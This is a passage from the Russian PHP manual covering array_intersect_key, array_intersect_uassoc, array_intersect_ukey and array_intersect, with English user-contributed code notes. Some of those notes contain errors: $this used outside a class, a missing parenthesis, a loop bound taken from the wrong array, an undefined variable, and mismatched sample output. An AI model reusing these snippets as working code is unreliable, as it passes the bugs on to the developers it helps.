            a => green
            b => yellow
            c => yellow
            0 => red
        )

)

$result_array will look like:

(
    a => green
)


Вычисляет пересечение массивов, сравнивая ключи

  • « array_intersect_assoc
  • array_intersect_uassoc »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов, сравнивая ключи

array_intersect_key

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_intersect_key — Вычисляет пересечение массивов, сравнивая ключи

Описание

array_intersect_key(array $array, array ...$arrays): array

Функция array_intersect_key() возвращает массив, содержащий все элементы массива array, имеющие ключи, содержащиеся во всех других параметрах.

Список параметров

array

Основной проверяемый массив.

arrays

Массив, с которым идёт сравнение.

Возвращаемые значения

Возвращает ассоциативный массив, содержащий все элементы массива array, имеющие ключи, содержащиеся во всех остальных параметрах.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования функции array_intersect_key()

<?php
$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_intersect_key($array1, $array2));
?>

Результат выполнения приведённого примера:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

В данном примере только ключи 'blue' и 'green' содержатся в обоих массивах, и поэтому возвращаются. Обратите внимание, что значения клюей 'blue' и 'green' неодинаковые в двух массивах. Совпадение всё равно есть, так как сравниваются только ключи. Возвращаемые значения берутся из массива array.

Два ключа пар key => value признаются равными, только если выражение (string) $key1 === (string) $key2 истинно. Проще говоря, выполняется строгая проверка строковых представлений, которые должны быть одинаковыми.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_diff_key() - Вычисляет расхождение массивов, сравнивая ключи
  • array_diff_ukey() - Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_intersect_ukey() - Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

User Contributed Notes

Anonymous 19-Aug-2021 11:38
Note that the order of the keys in the returned array is the same as the order of the keys in the source array.

To sort by the second array, then you may do so through array_replace.

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key(array_replace($keyswant, $array), $keyswant));

?>

Shows:

Array
(
    [one] => c
    [three] => b
)

Rather than:

Array
(
    [three] => b
    [one] => c
)
Reed Silver 02-Mar-2015 11:38
If you want an array that has no key value pairs added from the second array:

$new = array_intersect_key($b, $a) + $a;
github.com/xmarcos 12-May-2014 05:47
[Editor's note: changed array_merge_recursive() to array_replace_recursive() to fix the script]

Here is a better way to merge settings using some defaults as a whitelist.

<?php

$defaults = [
    'id'            => 123456,
    'client_id'     => null,
    'client_secret' => null,
    'options'       => [
        'trusted' => false,
        'active'  => false
    ]
];

$options = [
    'client_id'       => 789,
    'client_secret'   => '5ebe2294ecd0e0f08eab7690d2a6ee69',
    'client_password' => '5f4dcc3b5aa765d61d8327deb882cf99', // ignored
    'client_name'     => 'IGNORED',                          // ignored
    'options'         => [
        'active' => true
    ]
];

var_dump(
    array_replace_recursive($defaults,
        array_intersect_key(
            $options, $defaults
        )
    )
);

?>

Output:

array (size=4)
    'id'            => int 123456
    'client_id'     => int 789
    'client_secret' => string '5ebe2294ecd0e0f08eab7690d2a6ee69' (length=32)
    'options'       =>
        array (size=2)
            'trusted' => boolean false
            'active'  => boolean true
pixelf3hler at visualize-me dot de 28-Sep-2013 08:08
in case you came here looking for a function that returns an array containing the values of `all` arrays with intersecting keys:
<?php
   function array_merge_on_key($key, $array1, $array2) {
      $arrays = array_slice(func_get_args(), 1);
      $r = array();
      foreach($arrays as &$a) {
         if(array_key_exists($key, $a)) {
            $r[] = $a[$key];
            continue;
         }
      }
      return $r;
   }
   // example:
   $array1 = array("id" => 12, "name" => "Karl");
   $array2 = array("id" => 4, "name" => "Franz");
   $array3 = array("id" => 9, "name" => "Helmut");
   $array4 = array("id" => 10, "name" => "Kurt");

   $result = array_merge_on_key("id", $array1, $array2, $array3, $array4);

   echo implode(",", $result); // => 12,4,9,10
?>
vladas dot dirzys at gmail dot com 13-Aug-2012 08:03
Simple key white-list filter:

<?php
$arr = array('a' => 123, 'b' => 213, 'c' => 321);
$allowed = array('b', 'c');

print_r(array_intersect_key($arr, array_flip($allowed)));
?>

Will return:
Array
(
    [b] => 213
    [c] => 321
)
pgl at yoyo dot org 18-Jul-2011 08:01
Note that the order of the keys in the returned array is the same as the order of the keys in the source array. eg:

<?php
$array = array(
    'two'   => 'a',
    'three' => 'b',
    'one'   => 'c',
    );

$keyswant = array(
    'one'       => '',
    'three'     => '',
    );

print_r(array_intersect_key($array, $keyswant));

?>

Shows:

Array
(
    [three] => b
    [one] => c
)
chrisbloom7 at gmail dot com 11-Nov-2009 10:23
Regarding php at keithtylerdotcom solution to emulate

<?php
$z = someFuncReturningAnArray()['some_key'];
?>

His recommended solution will still return an array. To get the value of a single key in an array returned by a function, simply add implode() to the recipe:

<?php
function someFuncReturningAnArray() {
  return array(
    'a' => 'b',
    'c' => 'd',
    'e' => 'f',
    'g' => 'h',
    'i' => 'j'
  );
}

//traditional way
$temp = someFuncReturningAnArray();
$b = $temp['a'];
echo print_r($b, 1) . "\n----------\n";

//keithtylerdotcom one-line method
$b = array_intersect_key(someFuncReturningAnArray(), array('a'=>''));
echo print_r($b, 1) . "\n----------\n";

//better one line method
$b = implode('', array_intersect_key(someFuncReturningAnArray(), array('a'=>'')));
echo print_r($b, 1) . "\n----------\n";
?>
markus dot kappe at dix dot at 24-Sep-2009 04:43
<?php
    /**
     * calculates intersection of two arrays like array_intersect_key but recursive
     *
     * @param  array/mixed  master array
     * @param  array        array that has the keys which should be kept in the master array
     * @return array/mixed  cleand master array
     */
    function myIntersect($master, $mask) {
        if (!is_array($master)) { return $master; }
        foreach ($master as $k=>$v) {
            if (!isset($mask[$k])) { unset ($master[$k]); continue; } // remove value from $master if the key is not present in $mask
            if (is_array($mask[$k])) { $master[$k] = $this->myIntersect($master[$k], $mask[$k]); } // recurse when mask is an array
            // else simply keep value
        }
        return $master;
    }
?>
pdemaziere at gmail dot com 23-Feb-2009 07:52
Just a simple script if you want to use one array, which contains only zeros and ones, as mask for another one (both arrays must have the same size of course). $outcome is an array that contains only those values from $source where $mask is equal to 1.

<?php
$outcome = array_values(array_intersect_key( array_values($source), array_filter(array_values($mask)) ));
?>

PS: the array_values() function is necessary to ensure that both arrays have the same numbering/keys, otherwise your masking does not behave as you expect.

Enjoy!
CBWhiz at gmail dot com 04-Jan-2008 02:04
I have found the following helpful:
<?PHP
function array_merge_default($default, $data) {
        $intersect = array_intersect_key($data, $default); //Get data for which a default exists
        $diff = array_diff_key($default, $data); //Get defaults which are not present in data
        return $diff + $intersect; //Arrays have different keys, return the union of the two
}
?>
It's use is like both of the functions it uses, but keeps defaults and _only_ defaults. It's designed for key arrays, and i'm not sure how it will work on numeric indexed arrays.

Example:
<?PHP
$default = array(
 "one" => 1,
 "two" => 2
);
$untrusted = array(
 "one" => 42,
 "three" => 3
);
var_dump(array_merge_default($default, $untrusted));

array(2) {
  ["two"]=>
  int(2)
  ["one"]=>
  int(42)
}

?>
Anton Backer 30-Mar-2006 11:49
Jesse: no, array_intersect_key does not accomplish the same thing as what you posted:

array_flip (array_intersect (array_flip ($a), array_flip ($b)))

because when the array is flipped, values become keys. having duplicate values is not a problem, but having duplicate keys is. array_flip resolves it by keeping only one of the duplicates and discarding the rest. by the time you start intersecting, you've already lost information.


Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию

  • « array_intersect_key
  • array_intersect_ukey »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию

array_intersect_uassoc

(PHP 5, PHP 7, PHP 8)

array_intersect_uassoc — Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию

Описание

array_intersect_uassoc(array $array, array ...$arrays, callable $key_compare_func): array

Функция array_intersect_uassoc() возвращает массив, состоящий из значений массива array, которые содержатся во всех переданных аргументах. Обратите внимание, что, в отличие от функции array_intersect(), сравниваются ключи.

Список параметров

array

Исходный сравниваемый массив

arrays

Массивы, с которыми сравниваются ключи.

key_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает элементы массива array, чьи значения содержатся во всех переданных аргументах.

Примеры

Пример #1 Пример использования функции array_intersect_uassoc()

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "GREEN", "B" => "brown", "yellow", "red");

print_r(array_intersect_uassoc($array1, $array2, "strcasecmp"));
?>

Результат выполнения приведённого примера:

Array
(
    [b] => brown
)

Смотрите также

  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_uintersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_uintersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, используя для сравнения индексов и значений отдельные callback-функции
  • array_intersect_key() - Вычисляет пересечение массивов, сравнивая ключи
  • array_intersect_ukey() - Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

User Contributed Notes

There are no user contributed notes for this page.


Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

  • « array_intersect_uassoc
  • array_intersect »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

array_intersect_ukey

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_intersect_ukey — Вычисляет пересечение массивов, используя callback-функцию для сравнения ключей

Описание

array_intersect_ukey(array $array, array ...$arrays, callable $key_compare_func): array

Функция array_intersect_ukey() возвращает массив, состоящий из значений массива array, ключи которых содержатся во всех аргументах.

Список параметров

array

Основной проверяемый массив.

arrays

Массивы, с которыми сравниваются ключи.

key_compare_func

Функция сравнения должна возвращать целое, которое меньше, равно или больше нуля, если первый аргумент является соответственно меньшим, равным или большим, чем второй.

callback(mixed $a, mixed $b): int
Предостережение

Возвращение нецелых значений из функции сравнения, таких как число с плавающей точкой (float), приведёт к внутреннему приведению возвращаемого значения callback-функции к целому числу (int). Таким образом, значения 0.99 и 0.1 будут приведены к целочисленному значению 0, что позволит сравнить эти значения как равные.

Возвращаемые значения

Возвращает ассоциативный массив, состоящий из значений массива array, ключи которых содержатся во всех аргументах.

Примеры

Пример #1 Пример использования фукции array_intersect_ukey()

<?php
function key_compare_func($key1, $key2)
{
if ($key1 == $key2)
return 0;
else if ($key1 > $key2)
return 1;
else
return -1;
}

$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_intersect_ukey($array1, $array2, 'key_compare_func'));
?>

Результат выполнения приведённого примера:

array(2) {
  ["blue"]=>
  int(1)
  ["green"]=>
  int(3)
}

В нашем примере только ключи 'blue' и 'green' содержатся в обоих массивах, и поэтому возвращаются. Обратите внимание, что значения, которые соответствуют ключам 'blue' и 'green', неодинаковые в двух массивах. Совпадение всё равно есть, так как сравниваются только ключи. Возвращаемые значения берутся из массива array.

Смотрите также

  • array_diff() - Вычисляет расхождение массивов
  • array_udiff() - Вычисляет расхождение массивов, используя для сравнения callback-функцию
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса
  • array_diff_uassoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса через пользовательскую callback-функцию
  • array_udiff_assoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений callback-функцию
  • array_udiff_uassoc() - Вычисляет расхождение в массивах с дополнительной проверкой индексов, используя для сравнения значений и индексов callback-функцию
  • array_diff_key() - Вычисляет расхождение массивов, сравнивая ключи
  • array_diff_ukey() - Вычисляет расхождение массивов, используя callback-функцию для сравнения ключей
  • array_intersect() - Вычисляет пересечение массивов
  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_intersect_uassoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса, сравнивая индексы через callback-функцию
  • array_intersect_key() - Вычисляет пересечение массивов, сравнивая ключи

User Contributed Notes

gk at anuary dot com 30-Sep-2013 04:52
"array_intersect_ukey" will not work if $key_compare_func is using regular expression to perform comparison. "_array_intersect_ukey" fully implements the "array_intersect_ukey" interface and handles properly boolean comparison. However, the native implementation should be preferred for efficiency reasons.

<?php
$key_compare_func = function ($a, $b) {
    var_dump('a=' . $a. '; b=' . $b);

    if (strpos($b, '/') === 0) {
        return preg_match($b, $a) > 0 ? 0 : -1;
    }

    if ($a == $b) {
        $weight = 0;
    } else if ($a > $b) {
        $weight = 1;
    } else {
        $weight = -1;
    }

    var_dump('literal comparison: ' . $weight);

    return $weight;
};

$foo = ['aab' => '', 'bbb' => '', 'ccb' => '', 'abb' => ''];
$bar = ['/[a-z]b[a-z]/' => ''];
$buz = ['/c[a-z][a-z]/' => ''];

echo PHP_EOL . 'array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = array_intersect_ukey ($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

echo PHP_EOL . '_array_intersect_ukey' . PHP_EOL . PHP_EOL;

$subject = _array_intersect_ukey($foo, $bar, $buz, $key_compare_func);

echo PHP_EOL;

var_dump($subject);

/**
 * @author Gajus Kuizinas <gk@anuary.com>
 * @version 1.0.0 (2013 09 30)
 * @url https://gist.github.com/gajus/271ad5f36337a32a184c
 */
function _array_intersect_ukey (array $arr1, array $arr2, $key_compare_func) {
    $arr_matched = [];
    $arr_unmatched = [];

    $args = func_get_args();

    $key_compare_func = end($args);

    foreach ($arr1 as $k1 => $v1) {
        foreach ($arr2 as $k2 => $v2) {
            $diff = $key_compare_func($k1, $k2);

            //var_dump('k1=' . $k1 . ', k2=' . $k2 . ', diff=' . $diff);

            if ($diff === 0) {
                $arr_matched[$k1] = $v1;
            } else {
                $arr_unmatched[$k1] = $v1;
            }
        }
    }

    if (count($args) <= 3) {
        return $arr_matched;
    }

    array_splice($args, 0, 2, [$arr_unmatched]);

    return array_merge($arr_matched, call_user_func_array('_array_intersect_ukey', $args));
}

/*
array_intersect_ukey

string(12) "a=bbb; b=aab"
string(21) "literal comparison: 1"
string(12) "a=bbb; b=ccb"
string(22) "literal comparison: -1"
string(12) "a=abb; b=bbb"
string(22) "literal comparison: -1"
string(12) "a=aab; b=abb"
string(22) "literal comparison: -1"
string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/c[a-z][a-z]/"

array(0) {
}

_array_intersect_ukey

string(22) "a=aab; b=/[a-z]b[a-z]/"
string(22) "a=bbb; b=/[a-z]b[a-z]/"
string(22) "a=ccb; b=/[a-z]b[a-z]/"
string(22) "a=abb; b=/[a-z]b[a-z]/"
string(22) "a=aab; b=/c[a-z][a-z]/"
string(22) "a=ccb; b=/c[a-z][a-z]/"

array(3) {
  ["bbb"]=>
  string(0) ""
  ["abb"]=>
  string(0) ""
  ["ccb"]=>
  string(0) ""
}*/
?>


Вычисляет пересечение массивов

  • « array_intersect_ukey
  • array_is_list »
  • PHP Manual
  • Функции для работы с массивами
  • Вычисляет пересечение массивов

array_intersect

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_intersect — Вычисляет пересечение массивов

Описание

array_intersect(array $array, array ...$arrays): array

Функция array_intersect() возвращает массив, содержащий все значения массива array, которые содержатся во всех аргументах. Обратите внимание, что ключи сохраняются.

Список параметров

array

Основной проверяемый массив

arrays

Массивы, с которыми идёт сравнение значений

Возвращаемые значения

Возвращает массив, содержащий все значения параметра array, которые существуют во всех переданных аргументах.

Список изменений

Версия | Описание
8.0.0 | Теперь разрешается вызывать функцию только с одним параметром. Раньше требовалось не менее двух параметров.

Примеры

Пример #1 Пример использования функции array_intersect()

<?php
$array1 = array("a" => "green", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_intersect($array1, $array2);
print_r($result);
?>

Результат выполнения приведённого примера:

Array
(
    [a] => green
    [0] => red
)

Примечания

Замечание: Два элемента признаются одинаковыми тогда и только тогда, когда выражение (string) $elem1 === (string) $elem2 истинно. Проще говоря: когда их строковые представления идентичны.

Смотрите также

  • array_intersect_assoc() - Вычисляет пересечение массивов с дополнительной проверкой индекса
  • array_diff() - Вычисляет расхождение массивов
  • array_diff_assoc() - Вычисляет расхождение массивов с дополнительной проверкой индекса

User Contributed Notes

theking2(at)king(dot)ma 16-Dec-2023 06:21
A more generic parameter checking:

<?php
/**
 * Check if all required parameters are present in the request
 *
 * @param  mixed $request any of $_GET, $_POST, $_REQUEST
 * @param  mixed $required array of required parameters
 * @return bool true if all required parameters are present
 */
function check_params( array $request, array $required ): bool
{
    $check = array_intersect( array_keys( $request ), $required );
    return count( $check ) === count( $required );
}
?>

Use this like
<?php
if( !check_params( $_GET, ['cust_id','prod_id'] ) {
    header( "HTTP/1.1 400 Bad Request" );
    echo "Bad Request";
    exit();
}
?>

Let me know if something is build in PHP already...
theking at king dot ma 09-May-2022 05:44
I use array_intersect for a quick check of $_GET parameters;

<?php declare(strict_types=1)

$_params = ['cust_id','prod_id'];
$_params_check = array_intersect(array_keys($_GET),$_params);
if(count($_params_check) !== count($_params)) {
    header("HTTP/1.1 400 Bad Request");
    die();
}
?>

the file will die with a 400 error if cust_id or prod_id or both are missing from $_GET. But i could be used on $_POST and $_REQUEST as  well obviously.
Anonymous 25-Jan-2021 01:52
array_intersect             use Value, not callback
array_uintersect            use Value, callback receives Value
array_intersect_key         use Key, not callback
array_intersect_ukey        use Key, callback receives Key
array_intersect_assoc       use Both, not callback
array_intersect_uassoc      use Both, callback receives Key ONLY
array_uintersect_assoc      use Both, callback receives Value ONLY
array_uintersect_uassoc     use Both, One callback receives the Key, the other receives the Value.
Ehsan.Chavoshi.com 22-Jun-2019 05:15
I wrote this function to recursively replace array keys with array values (flip) and fill values with defined value. it can be used for recursive array intersect functions .

<?php
function array_values_to_keys_r($array, $fill_value = null)
{
    $flipped = [];
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $flipped [$key] = array_values_to_keys_r($value);
        } else {
            $flipped [$value] = $fill_value;
        }
    }
    return $flipped;
}
?>
zoolyka at gmail dot com 06-Oct-2018 07:38
If you have to intersect arrays of unique values then using array_intersect_key is about 20 times faster, just have to flip the key value pairs of the arrays, then flip the result again.

<?php

$one = range(1, 250000);
$two = range(50000, 150000);

$start = microtime(true);

$intersection = array_intersect($one, $two);

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

$start = microtime(true);

$intersection = array_flip(array_intersect_key(array_flip($one), array_flip($two)));

echo "Did it in ".( microtime(true) - $start )." seconds.\n";

?>

Did it in 0.89163708686829 seconds.
Did it in 0.038213968276978 seconds.
ram 23-Aug-2018 10:08
$x = array('ram@hb.in', 'ram', 'rams@hb.in');
    $y = array('1231231231');
    $result=array_intersect($x,$z);
    $res = array_intersect($y, $z);
jake 31-Jan-2017 08:42
Also note that, even without the availability of the strict mode switch, false does not match 0:

array_intersect([false], [0]) == [];

Even in PHP 7.1
matang dot dave at gmail dot com 17-Jun-2015 02:34
Take care of value types while using array_intersect function as there is no option for strict type check as in in_array function.

$array1 = array(true,2);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));

result is :
array(2) {
        [0] =>  bool(true)
        [1]  =>  int(2)
}
info at iridsystem dot it 21-May-2015 06:16
This function is able to sort an array based on another array that contains the order of occurrence. The values that are not present will be transferred into the end of the resultant.
Questa funzione permette di ordinare i valori di un array ($tosort) basandosi sui valori contenuti in un secondo array ($base), i valori non trovati verranno posizionati alla fine dell'ordinamento senza un'ordine specifico.

<?
$base= array('one', 'two', 'three');

$tosort= array('a'=>'two', 'b'=>'three', 'c'=>'five', 'd'=>'one', 'and'=>'four', 'f'=>'one');

uasort($tosort, function($key1, $key2) use ($base) {
  $a1=array_search($key1, $base);
  $a2=array_search($key2, $base);

  if ( $a1===false && $a2===false ) { return 0; }
  else if ( $a1===false && $a2 !== false) { return 1; }
  else if ( $a1!==false && $a2 === false) {return -1;}

  if( $a1 > $a2 ) { return 1; }
  else if ( $a1 < $a2 ) { return -1; }
  else if ( $a1 == $a2 ) { return 0; }
});
var_dump($tosort);
/*
the resulting of $tosort
array
  'd' => string 'one' (length=3)
  'f' => string 'one' (length=3)
  'a' => string 'two' (length=3)
  'b' => string 'three' (length=3)
  'c' => string 'five' (length=6)
  'e' => string 'four' (length=7)
*/
Gabriel
?>
yuval at visualdomains dot com 17-May-2015 01:17
Using isset to achieve this, is many times faster:

<?php

 $m = range(1,1000000);
  $s = [2,4,6,8,10];

// Use array_intersect to return all $m values that are also in $s
  $tstart = microtime(true);
  print_r (array_intersect($m,$s));
  $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";

 // Use array_flip and isset to return all $m values that are also in $s
  $tstart = microtime(true);
  $f = array_flip($s);
/* $f now looks like this:
(
    [2] => 0
    [4] => 1
    [6] => 2
    [8] => 3
    [10] => 4
)
*/
// $u will hold the intersected values
  $u = [];
  foreach ($m as $v) {
    if (isset($f[$v])) $u[] = $v;
  }
  print_r ($u);
   $tend = microtime(true);
  $time = $tend - $tstart;
  echo "Took $time";
?>

Results:

Array
(
    [1] => 2
    [3] => 4
    [5] => 6
    [7] => 8
    [9] => 10
)
Took 4.7170009613037
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)
Took 0.056024074554443

array_intersect: 4.717
array_flip+isset: 0.056
meihao at 126 dot com 21-Nov-2013 08:56
<?php
$a=array(1,2,'3',4);
$b=array('1',2,3);

var_dump($a,$b);

result:
array (size=3)
  0 => int 1
  1 => int 2
  2 => string '3' (length=1)

?>
Mike Block 04-Mar-2013 09:27
I bench-marked some uses of array_intersect and can't believe how slow it is. This isn't as elaborate, but handles most cases and is much faster:

<?php
/**
examines two arrays and returns the intersected arrays with matching keys (ignores duplicate keys)
*/
function simple_array_intersect($a,$b) {
    $a_assoc = $a != array_values($a);
    $b_assoc = $b != array_values($b);
    $ak = $a_assoc ? array_keys($a) : $a;
    $bk = $b_assoc ? array_keys($b) : $b;
    $out = array();
    for ($i=0;$i<sizeof($ak);$i++) {
        if (in_array($ak[$i],$bk)) {
            if ($a_assoc) {
                $out[$ak[$i]] = $a[$ak[$i]];
            } else {
                $out[] = $ak[$i];
            }
        }
    }
    return $out;
}

?>

You can try this out with this:

<?php
// create a large array (simple)
$first = array();
for ($i=500;$i<500000;$i++) {
    $first[] = $i;
}
// create a smaller array (associative)
$second = array();
for ($i=499990;$i<500000;$i++) {
    $second[$i] = rand();
}
echo microtime(true)."\n";
// built-in function
print_r(array_intersect($first,$second));
echo microtime(true)."\n";
// favour simple array as match
print_r(simple_array_intersect($first,$second));
echo microtime(true)."\n";
// favour associative keys for match
print_r(simple_array_intersect($second,$first));
echo microtime(true)."\n";

?>
caffinated 10-Nov-2012 12:13
If you're looking for a relatively easy way to strictly intersect keys and values recursively without array key reordering, here's a simple recursive function:

<?php
function array_intersect_recursive($array1, $array2)
{
  foreach($array1 as $key => $value)
  {
    if (!isset($array2[$key]))
    {
      unset($array1[$key]);
    }
    else
    {
      if (is_array($array1[$key]))
      {
        $array1[$key] = array_intersect_recursive($array1[$key], $array2[$key]);
      }
      elseif ($array2[$key] !== $value)
      {
        unset($array1[$key]);
      }
    }
  }
  return $array1;
}
?>
dml at nm dot ru 20-May-2011 05:06
The built-in function returns wrong result when input arrays have duplicate values.
Here is a code that works correctly:

<?php
function array_intersect_fixed($array1, $array2) {
    $result = array();
    foreach ($array1 as $val) {
      if (($key = array_search($val, $array2, TRUE))!==false) {
         $result[] = $val;
         unset($array2[$key]);
      }
    }
    return $result;
}
?>
Yohann 12-Apr-2010 04:36
I used array_intersect in order to sort an array arbitrarly:

<?php
$a = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'height', 'nine', 'ten');
$b = array('four', 'one', 'height', 'five')
var_dump(array_intersect($a, $b);
?>

will output:

0 => 'one'
1 => 'four'
2 => 'five'
3 => 'height'

i hope this can help...
189780 at gmail dot com 02-Jan-2010 07:26
Actually array_intersect finds the dublicate values, here is my approach which is 5 times faster than built-in function array_intersect().. Give a try..

<?php
function my_array_intersect($a,$b)
{
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$a[$i];
        }
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$b[$i];
        }
        sort($m);
        $get=array();
        for($i=0;$i<sizeof($m);$i++)
        {
                if($m[$i]==$m[$i+1])
                $get[]=$m[$i];
        }
        return $get;
}
?>

Bar?s CUHADAR
189780@gmail.com
Shawn Pyle 13-Aug-2009 09:29
array_intersect handles duplicate items in arrays differently. If there are duplicates in the first array, all matching duplicates will be returned. If there are duplicates in any of the subsequent arrays they will not be returned.

<?php
array_intersect(array(1,2,2),array(1,2,3)); //=> array(1,2,2)
array_intersect(array(1,2,3),array(1,2,2)); //=> array(1,2)
?>
gary 21-Jun-2009 12:57
i wrote this one to get over the problem i found in getting strings intersected instead of arrays as there is no function in php.

<?php
function matched_main_numbers($string, $string2)
{
$string = "04 16 17 20 29";
$arr1 = explode(" ", $string);

$string2 = "45 34 04 29 16";
$arr2 = explode(" ", $string2);

$array = array_intersect($arr1, $arr2);
$comma_separated = implode($array);

$str = $comma_separated;

$balls = "$comma_separated";
$matched_balls = chunk_split($balls,2," ");
$matched_balls =" $matched_balls";

$number_of_matched_main_balls = strlen($str);
$number_of_matched_main_balls = ($number_of_matched_main_balls/2);
$numbers = "You matched $number_of_matched_main_balls main balls";

return $numbers;

}
?>
Oto Brglez 10-Mar-2009 07:02
If you wish to create intersection with arrays that are empty. Than the result of intersection is empty array.

If you wish to change this. I sugest that you do this.
It simply "ignores" empty arrays. Before loop use 1st array.

<?php

$a = array();
$a[] = 1;
$a[] = 2;
$a[] = 3;

$b = array();
$b[] = 4;
$b[] = 5;
$b[] = 1;

$c = array();
$c[] = 1;
$c[] = 5;
$d = array();

$kb=array('a','b','c','d');

$out = $a;
foreach($kb as $k){
    if(!empty(${$k})) $out = array_intersect($out,${$k});
};
print_r($out);
// The result is array

// The result is empty array
print_r(array_intersect($a,$b,$c,$d));

?>
karl at libsyn dot com 30-Jan-2009 09:58
Given a multidimensional array that represents AND/OR relationships (example below), you can use a recursive function with array_intersect() to see if another array matches that set of relationships.

For example: array( array( 'red' ), array( 'white', 'blue' ) ) represents "red OR ( white AND blue )".  array( 'red', array( 'white', 'blue' ) ) would work, too, BTW.

If I have array( 'red' ) and I want to see if it matches the AND/OR array, I use the following function.  It returns the matched array,
but can just return a boolean if that's all you need:

<?php
$needle = array( array( 'red' ), array( 'white', 'blue' ) );
$haystack = array( 'red' );

function findMatchingArray( $needle, $haystack ) {
    foreach( $needle as $element ) {
        $test_element = (array) $element;
        if( count( $test_element ) == count( array_intersect( $test_element, $haystack ) ) ) {
            return $element;
        }

    }
    return false;
}
?>

Pretty tough to describe what I needed it to do, but it worked.  I don't know if anyone else out there needs something like this, but hope this helps.
Esfandiar -- e.bandari at gmail dot com 10-Aug-2008 12:44
Regarding array union:  Here is a faster version array_union($a, $b)

But it is not needed!  See below.

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            $a,
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>

You get the same result with $a + $b.

N.B. for associative array the results of $a+$b and $b+$a are different, I think array_diff_key is used.

Cheers, E
stuart at horuskol dot co dot uk 07-Jul-2008 03:57
A clearer example of the key preservation of this function:

<?php

$array1 = array(2, 4, 6, 8, 10, 12);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));
var_dump(array_intersect($array2, $array1));

?>

yields the following:

array(3) {
  [0]=> int(2)
  [1]=> int(4)
  [2]=> int(6)
}

array(3) {
  [1]=> int(2)
  [3]=> int(4)
  [5]=> int(6)
}

This makes it important to remember which way round you passed the arrays to the function if these keys are relied on later in the script.
Malte 10-Feb-2008 10:34
Extending the posting by Terry from 07-Feb-2006 04:42:

If you want to use this function with arrays which have sometimes the same value several times, it won't be checked if they're existing in the second array as much as in the first.
So I delete the value in the second array, if it's found there:

<?php
$firstarray = array(1, 1, 2, 3, 4, 1);
$secondarray = array(4, 1, 6, 5, 4, 1);

//array_intersect($firstarray, $secondarray): 1, 1, 1, 4

